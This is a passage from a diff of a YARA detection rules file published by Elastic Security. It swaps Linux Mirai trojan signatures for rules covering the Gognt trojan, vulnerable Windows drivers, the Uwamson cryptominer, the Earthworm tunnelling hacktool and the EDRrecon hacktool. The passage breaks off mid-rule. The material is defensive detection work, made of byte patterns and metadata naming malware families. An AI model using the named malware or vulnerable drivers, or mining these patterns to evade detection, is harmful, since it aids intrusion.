 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L398-L416"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f363d9bd2132d969cd41e79f29c53ef403da64ca8afc4643084cc50076ddfb47"
-		logic_hash = "34c6f800c849c295797cdd971fb4f3d16d680530f9a98c291388345569708208"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gognt.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e43aaf2345dbb5c303d5a5e53cd2e2e84338d12f69ad809865f20fd1a5c2716f"
+		logic_hash = "1dfc3417f75aa81aea5eda3d6da076f1cacf82dbfc039252b1d16f52b81a5a65"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cbcabf4cba48152b3599570ef84503bfb8486db022a2b10df7544d4384023355"
+		fingerprint = "fdf7b65f812c17c7f30b3095f237173475cdfb0c10a4b187f751c0599f6b5729"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68911,57 +73030,62 @@ rule ELASTIC_Linux_Trojan_Mirai_Ea584243 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A 3C 81 FA }
+		$a = { 7C 24 78 4C 89 84 24 A8 00 00 00 48 29 D7 49 89 F9 48 F7 DF 48 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_564B8Eda : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Fileseclab_4A21229A : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Vulndriver Fileseclab (Windows.VulnDriver.Fileseclab)"
 		author = "Elastic Security"
-		id = "564b8eda-6f0e-45b8-bef6-d61b0f090a36"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4a21229a-8847-4909-b3cd-69b4078a4825"
+		date = "2024-03-05"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L418-L436"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee"
-		logic_hash = "4bf11492f480911629623250146554f2456f3a527f5f80402ef74b22c1460462"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Vulndriver_Fileseclab.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ae55a0e93e5ef3948adecf20fa55b0f555dcf40589917a5bfbaa732075f0cc12"
+		logic_hash = "bac78186f3d46c6765bacaf6a324ff94e449261cefe2594cb38c4cc25db1f0de"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819"
+		tags = "FILE"
+		fingerprint = "dcbdbd375bae3d9206a82bbffa9f803492ed9588333075d93fad4b9f3261be7b"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01 }
+		$a1 = "filwfp.sys"
+		$a2 = "filnk.sys"
+		$a3 = { 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 5C 00 66 00 69 00 6C 00 77 00 66 00 70 00 }
+		$a4 = { 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 5C 00 66 00 69 00 6C 00 77 00 66 00 70 00 }
+		$b1 = { 31 00 2C 00 20 00 30 00 2C 00 20 00 30 00 2C 00 20 00 }
+		$b2 = { 32 00 2C 00 20 00 30 00 2C 00 20 00 30 00 2C 00 20 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and 1 of ($a*) and 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_7E9F85Fb : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Uwamson_C42Fd06D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
 		author = "Elastic Security"
-		id = "7e9f85fb-bfc4-4af6-9315-f6e43fefc4ff"
+		id = "c42fd06d-b9ab-4f1f-bb59-e7b49355115c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L438-L456"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4333e80fd311b28c948bab7fb3f5efb40adda766f1ea4bed96a8db5fe0d80ea1"
-		logic_hash = "f4ce912e190bc5dcb56541f54ba8e47b6103c482bdc7e83b44693d2c066c0170"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Uwamson.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8cfc38db2b860efcce5da40ce1e3992f467ab0b7491639d68d530b79529cda80"
+		logic_hash = "4ff7aad11adaae8fccb23d36fc96937ba48a5517895a742f2864ba1973f3db3a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ef420ec934e3fd07d5c154a727ed5c4689648eb9ccef494056fed1dea7aa5f9c"
+		fingerprint = "dac171e66289e2222cd631d616f31829f31dfeeffb34f0e1dcdd687d294f117c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68969,28 +73093,28 @@ rule ELASTIC_Linux_Trojan_Mirai_7E9F85Fb : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 85 50 FF FF FF 0F B6 40 04 3C 07 75 79 48 8B 85 50 FF FF FF }
+		$a = { F0 4C 89 F3 48 8B 34 24 48 C1 E0 04 48 C1 E3 07 48 8B 7C 24 10 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3A85A418 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Uwamson_D08B1D2E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
 		author = "Elastic Security"
-		id = "3a85a418-2bd9-445a-86cb-657ca7edf566"
+		id = "d08b1d2e-cbd5-420e-8f36-22b9efb5f12c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L458-L476"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a"
-		logic_hash = "bd7fe497fb2557c9e9c26ec90e783f03cbbc9bdaa8d20b364ce65edf6c1e5fa3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Uwamson.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4f7ad24b53b8e255710e4080d55f797564aa8c270bf100129bdbe52a29906b78"
+		logic_hash = "8f489bb020397beae91f7bce82bc1b47912deab1b79224158f79c53f1d7c7fd3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec"
+		fingerprint = "1e55dc81a44af9c15b7a803e72681b5c24030d34705219f83ca4779fd885098c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68998,28 +73122,28 @@ rule ELASTIC_Linux_Trojan_Mirai_3A85A418 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89 }
+		$a = { 4F F8 49 8D 7D 18 89 D9 49 83 C5 20 48 89 FE 41 83 E1 0F 4D 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_24C5B7D6 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Uwamson_0797De34 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
 		author = "Elastic Security"
-		id = "24c5b7d6-1aa8-4d8e-9983-c7234f57c3de"
+		id = "0797de34-9181-4f28-a4b0-eafa67e20b41"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L478-L496"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7c2f8ba2d6f1e67d1b4a3a737a449429c322d945d49dafb9e8c66608ab2154c4"
-		logic_hash = "f790f6b8fcf932773054525ed74a3f15998d91a2626ae9c56486de8dabc2035c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Uwamson.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e4699e35ce8091f97decbeebff63d7fa8c868172a79f9d9d52b6778c3faab8f2"
+		logic_hash = "7ab5dd99d8bbef61ec764900df5bebf39ed90833a8f9481c427cbb46faf2c521"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3411b624f02dd1c7a0e663f1f119c8d5e47a81892bb7c445b7695c605b0b8ee2"
+		fingerprint = "b6a210c23f09ffa0114f12aa741be50f234b8798a3275ac300aa17da29b8727c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69027,28 +73151,28 @@ rule ELASTIC_Linux_Trojan_Mirai_24C5B7D6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 54 38 1C 80 FA 3E 74 25 80 FA 3A 74 20 80 FA 24 74 1B 80 FA 23 }
+		$a = { 43 20 48 B9 AB AA AA AA AA AA AA AA 88 44 24 30 8B 43 24 89 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_99D78950 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Uwamson_41E36585 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Cryptominer Uwamson (Linux.Cryptominer.Uwamson)"
 		author = "Elastic Security"
-		id = "99d78950-ea23-4166-a85a-7a029209f5b1"
+		id = "41e36585-0ef1-4896-a887-dac437c716a5"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L498-L516"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
-		logic_hash = "bfd628a9973f85ed0a8be2723c7ff4bd028af00ea98c9cbcde9df6aabcf394b2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Uwamson.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8cfc38db2b860efcce5da40ce1e3992f467ab0b7491639d68d530b79529cda80"
+		logic_hash = "e176523afe8c3394ddda41a5ef11f825fed1e149476709a7c1ea26b8af72d4fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c"
+		fingerprint = "ad2d4a46b9378c09b1aef0f2bf67a990b3bacaba65a5b8c55c2edb0c9a63470d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69056,56 +73180,60 @@ rule ELASTIC_Linux_Trojan_Mirai_99D78950 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 }
+		$a = { F8 03 48 C1 FF 03 4F 8D 44 40 FD 48 0F AF FE 49 01 F8 4C 01 C2 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3Fe3C668 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Marvinhw_37326842 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Subject: Marvin Test Solutions, Inc., Name: HW.sys, Version: 4.9.8.0"
 		author = "Elastic Security"
-		id = "3fe3c668-89f4-4601-a167-f41bbd984ae5"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "37326842-66a3-4058-abb7-d6d48ca58831"
+		date = "2022-07-21"
+		modified = "2022-07-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L518-L535"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e75b2dca7de7d9f31a0ae5940dc45d0e6d0f1ca110b5458fc99912400da97bde"
-		score = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_MarvinHW.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
+		logic_hash = "f37290912ab7d997d718c074eef48a67a36444e9e97592b6be65855ade2ba246"
+		score = 50
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec"
+		tags = "FILE"
+		fingerprint = "f0ac8176d412dfaeb9c37ce18c13dea7cc2783fd37421b69e19c4dfa898e42be"
+		threat_name = "Windows.VulnDriver.MarvinHW"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48 }
+		$subject_name = { 06 03 55 04 03 [2] 4D 61 72 76 69 6E 20 54 65 73 74 20 53 6F 6C 75 74 69 6F 6E 73 2C 20 49 6E 63 2E }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 48 00 57 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x09][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x08][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x08][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x09][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x07][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $subject_name and $original_file_name and $version
 }
-rule ELASTIC_Linux_Trojan_Mirai_Eedfbfc6 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Earthworm_4De7B584 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
 		author = "Elastic Security"
-		id = "eedfbfc6-98a4-4817-a0d6-dcb065307f5c"
+		id = "4de7b584-d25f-414b-bdd5-45f3672a62d8"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L537-L555"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7342f7437a3a16805a7a8d4a667e0e018584f9a99591413650e05d21d3e6da6"
-		logic_hash = "949b32db1a00570fc84fbbe510f57f6e898d089efd3fedbd7719f8059021b6bc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Earthworm.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d61aabcf935121b4f7fc6b0d082d7d6c31cb43bf253a8603dd46435e66b7955"
+		logic_hash = "019b2504df192e673f96a86464bb5e8ba5e89190e51bfe7d702753f76c00b979"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "c79058b4a40630cb4142493062318cdfda881259ac95b70d977816f85b82bb36"
+		fingerprint = "af2dc166ad5bbd3e312338a3932134c33c33c124551e7828eeef299d89419d21"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69113,28 +73241,28 @@ rule ELASTIC_Linux_Trojan_Mirai_Eedfbfc6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 7C 39 57 52 AC 57 A8 CE A8 8C FC 53 A8 A8 0E 33 C2 AA 38 14 FB 29 }
+		$a = { 73 6F 63 6B 73 64 20 2C 20 72 63 73 6F 63 6B 73 20 2C 20 72 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_6D96Ae91 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Earthworm_E3Da43E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
 		author = "Elastic Security"
-		id = "6d96ae91-9d5c-48f1-928b-1562b120a74d"
+		id = "e3da43e2-1737-4c51-af6c-7c64d9cbfb07"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L557-L575"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e3a1d92df6fb566e09c389cfb085126d2ea0f51a776ec099afb8913ef5e96f9b"
-		logic_hash = "43b0ac7090620eb6c892f1105778c395bf18f5ac309ce1b2d9015b5abccbfc2a"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Earthworm.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "da0cffc4222d11825778fe4fa985fef2945caa0cc3b4de26af0a06509ebafb21"
+		logic_hash = "b129b7060b6af4ff2aae2678a455b969579132891fba44e4fdc2481a5437bdf9"
+		score = 60
+		quality = 45
 		tags = "FILE, MEMORY"
-		fingerprint = "fdbeaae0a96f3950d19aed497fae3e7a5517db141f53a1a6315b38b1d53d678b"
+		fingerprint = "fdf19096c6afc1c3be75fe4bb2935aca8ac915c97ad0ab3c2b87e803347cc460"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69142,28 +73270,28 @@ rule ELASTIC_Linux_Trojan_Mirai_6D96Ae91 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 01 00 00 C1 00 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D }
+		$a = { 8D 20 FF FF FF 4C 89 C1 4C 8B 85 20 FF FF FF 49 D3 E0 4C 21 C7 48 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_D8779A57 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Earthworm_82D5C4Cf : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
 		author = "Elastic Security"
-		id = "d8779a57-c6ee-4627-9eb0-ab9305bd2454"
+		id = "82d5c4cf-ab96-4644-b1f3-2e95f1b49e7c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L577-L595"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c490586fbf90d360cf3b2f9e2dc943809441df3dfd64dadad27fc9f5ee96ec74"
-		logic_hash = "2154786bbb6dbcc280aaa9e2b75106b585d04c7c85f6162f441c81dc54663cb3"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Earthworm.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc412d4f2b0e9ca92063a47adfb0657507d3f2a54a415619db5a7ccb59afb204"
+		logic_hash = "81f35293bd3dd0cfbbf67f036773e16625bb74e06320fa1fff5bc428ef2f3a43"
+		score = 60
+		quality = 45
 		tags = "FILE, MEMORY"
-		fingerprint = "6c7a18cc03cacef5186d4c1f6ce05203cf8914c09798e345b41ce0dcee1ca9a6"
+		fingerprint = "400342ab702de1a7ec4dd7e9b415b8823512f74a9abe578f08f7d79265bef385"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69171,28 +73299,28 @@ rule ELASTIC_Linux_Trojan_Mirai_D8779A57 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { B6 FF 41 89 D0 85 FF 74 29 38 56 08 74 28 48 83 C6 10 31 D2 }
+		$a = { 89 E5 48 83 EC 20 31 C0 89 C1 48 8D 55 F0 48 89 7D F8 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3E72E107 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Earthworm_4Ec2Ec63 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
 		author = "Elastic Security"
-		id = "3e72e107-3647-4afd-a556-3c49dae7eb0c"
+		id = "4ec2ec63-6b22-404f-a217-4e7d32bfbe9f"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L597-L615"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "57d04035b68950246dd152054e949008dafb810f3705710d09911876cd44aec7"
-		logic_hash = "ba0ba56ded8977502ad9f8a1ceebd30efbff964d576bbfeedff5761f0538d8f0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Earthworm.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc412d4f2b0e9ca92063a47adfb0657507d3f2a54a415619db5a7ccb59afb204"
+		logic_hash = "25f616c5440a48aef0f824cb6859e88787db4f42c1ec904a3d3bd72f3a64116e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3bca41fd44e5e9d8cdfb806fbfcaab3cc18baa268985b95e2f6d06ecdb58741a"
+		fingerprint = "1dfb594e369ca92a9e3f193499708c4992f6497ff1aa74ae0d6c2475a7e87641"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69200,399 +73328,509 @@ rule ELASTIC_Linux_Trojan_Mirai_3E72E107 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 10 85 C0 BA FF FF FF FF 74 14 8D 65 F4 5B 5E 5F 89 D0 5D C3 8D }
+		$a = { 89 E5 48 83 EC 20 BA 04 00 00 00 48 8D 45 F0 48 89 7D F8 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_5C62E6B2 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Edrrecon_69453Aff : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Hacktool Edrrecon (Windows.Hacktool.EDRrecon)"
 		author = "Elastic Security"
-		id = "5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "69453aff-1427-4aae-b1f3-7cce9c93342c"
+		date = "2024-03-07"
+		modified = "2024-06-10"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L617-L635"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9"
-		logic_hash = "6505c4272f0f7c8c5f2d3f7cefdc3947c4015b0dfd94efde4357a506af93a99d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_EDRrecon.yar#L1-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f62e51b2405c0d42c53ff1f560376ef0530ba2eea1c97e18f2a3cf148346bcd1"
+		logic_hash = "3d0f6dc5d47a3c0957a7aa8d2918fee113d079d7d74f37a1c17c5429034ba41f"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8"
+		fingerprint = "f10758ed032a0f7da0d983839beb12f79fba764aa4ffa0f3716dbfc2e8a3ea82"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48 }
